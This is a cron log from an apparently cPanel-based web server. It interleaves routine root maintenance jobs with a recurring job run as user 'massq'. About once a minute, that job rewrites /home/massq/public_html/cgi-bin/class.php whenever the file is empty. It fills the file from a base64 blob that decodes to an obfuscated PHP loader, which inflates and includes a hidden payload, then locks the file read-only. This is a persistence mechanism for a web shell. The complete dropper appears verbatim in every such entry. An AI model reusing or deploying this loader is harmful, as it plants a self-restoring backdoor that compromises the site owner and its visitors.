Sep 10 21:34:01 server CROND[20502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:35:02 server CROND[21007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:35:02 server CROND[21009]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 21:35:02 server CROND[21012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:35:02 server CROND[21014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:35:02 server CROND[21011]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 21:35:02 server CROND[21017]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 21:35:02 server CROND[21015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:35:02 server CROND[21013]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 21:35:02 server CROND[21018]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:36:01 server CROND[21910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:36:01 server CROND[21911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:36:01 server CROND[21912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:37:01 server CROND[22285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:37:01 server CROND[22286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:37:01 server CROND[22284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:38:01 server CROND[22681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:38:01 server CROND[22682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:38:01 server CROND[22683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:39:01 server CROND[23230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:39:01 server CROND[23231]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 21:39:01 server CROND[23233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:39:01 server CROND[23232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:40:01 server CROND[23728]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 21:40:01 server CROND[23729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:40:02 server CROND[23733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:40:02 server CROND[23734]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 21:40:02 server CROND[23735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:40:02 server CROND[23739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:40:02 server CROND[23737]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 21:40:02 server CROND[23738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:41:01 server CROND[24546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:41:01 server CROND[24548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:41:01 server CROND[24547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:42:01 server CROND[24915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:42:01 server CROND[24916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:42:01 server CROND[24918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:42:01 server CROND[24917]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 21:43:01 server CROND[25287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:43:01 server CROND[25288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:43:01 server CROND[25289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:44:01 server CROND[25673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:44:01 server CROND[25674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:44:01 server CROND[25675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:45:01 server CROND[26053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 21:45:01 server CROND[26059]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 21:45:01 server CROND[26062]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:45:01 server CROND[26063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:45:01 server CROND[26065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:45:01 server CROND[26066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
